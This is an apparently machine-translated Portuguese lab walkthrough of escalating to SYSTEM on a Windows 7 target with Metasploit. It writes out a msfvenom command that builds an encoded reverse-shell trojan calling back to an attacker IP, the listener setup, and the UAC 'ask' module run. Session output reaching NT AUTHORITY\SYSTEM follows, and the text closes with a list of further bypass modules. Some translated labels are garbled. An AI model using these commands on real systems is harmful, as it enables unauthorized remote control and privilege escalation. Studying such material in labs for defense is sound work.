Preparação preliminar
Máquina alvo | Aeronave de ataque |
---|---|
win7 | Tempo |
192.168.43.254 | 192.168.43.113 |
Aqui, eu apenas demonstro o processo de ataque. Se você tiver algum comando que não entende, você pode verificar meus outros artigos. Há notas especificamente para eu fazer os comandos ou ir para o Baidu sozinho.
Introdução ao UAC
UAC (Controle de Conta de Usuário) é uma nova tecnologia introduzida pela Microsoft no Windows Vista para melhorar a segurança do sistema. Requer que os usuários executem operações que podem afetar a operação do computador ou executem operações que alteram configurações que afetam outros usuários. Fornece permissões ou administrador senha.
Em outras palavras, uma vez que o usuário permite que o aplicativo iniciado passe na verificação do UAC, o programa também tem direitos de administrador. Se sequestrarmos o programa que passou na verificação do UAC do usuário de alguma forma, nosso programa também alcançará o processo de escalonamento.
Pré-demonstração
Como é uma demonstração, aqui geramos diretamente um cavalo de Tróia por msf para obter um shell
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.43.113 LPORT=6666 -b "\x00" -e x86/shikata_ga_nai -f exe > uac.exe
Configurar monitor
use exploit/multi/handler
Defina a carga útil
set payload windows/meterpreter/reverse_tcp
Definir IP de escuta e porta
set lhost 192.168.43.113
set lport 6666
Em seguida, execute, abra a máquina win7, clique em uac.exe para abrir o kali e obter o shell
msf5 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.43.113:6666
[*] Sending stage (179779 bytes) to 192.168.43.254
[*] Meterpreter session 1 opened (192.168.43.113:6666 -> 192.168.43.254:50063) at 2020-10-05 22:02:08 +0800
meterpreter >
Você pode ver que é um administrador
meterpreter > getuid
Server username: LS--20200725FKO\Administrator
Então, falhamos em promover o getsystem e colocá-lo em segundo plano
meterpreter > background
[*] Backgrounding session 2...
msf5 exploit(multi/handler) > se
search services sessions set setg
msf5 exploit(multi/handler) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
2 meterpreter x86/windows LS--20200725FKO\Administrator @ LS--20200725FKO 192.168.43.113:6666 -> 192.168.43.254:50080 (192.168.43.254)
Escalação UAC
Depois de colocá-lo em segundo plano, use o seguinte módulo
use exploit/windows/local/ask
Verifique as informações do módulo e, em seguida, defina o que queremos definir
msf5 exploit(windows/local/ask) > info
Name: Windows Escalate UAC Execute RunAs
Module: exploit/windows/local/ask
Platform: Windows
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2012-01-03
Provided by:
mubix <mubix@hak5.org>
b00stfr3ak
Available targets:
Id Name
-- ----
0 Windows
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME no File name on disk
PATH no Location on disk, %TEMP% used if not set
SESSION yes The session to run this module on.
TECHNIQUE EXE yes Technique to use (Accepted: PSH, EXE)
Payload information:
Description:
This module will attempt to elevate execution level using the
ShellExecute undocumented RunAs flag to bypass low UAC settings.
Por meio do acima, sabemos que precisamos configurar a sessão
msf5 exploit(windows/local/ask) > set session 2
session => 2
Os outros dois não são necessários, podem ser definidos ou não definidos e, em seguida, execute
msf5 exploit(windows/local/ask) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
5 meterpreter x86/windows LS--20200725FKO\Administrator @ LS--20200725FKO 192.168.43.113:6666 -> 192.168.43.254:49187 (192.168.43.254)
6 meterpreter x86/windows LS--20200725FKO\Administrator @ LS--20200725FKO 192.168.43.113:6666 -> 192.168.43.254:49187 (192.168.43.254)
Você pode ver que há duas sessões, mas ambas têm direitos de administrador
msf5 exploit(windows/local/ask) > sessions -i 6
[*] Starting interaction with 6...
meterpreter >
Nós vamos dentro de 6
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
Obtenha permissões do sistema
Nome do módulo | Meu entendimento |
---|---|
explorar / windows / local / perguntar | Precisa clicar |
explorar / windows / local / bypassuac | Não há necessidade de clicar |
Explorar / windows / local / ms14_058_track_popup_menu |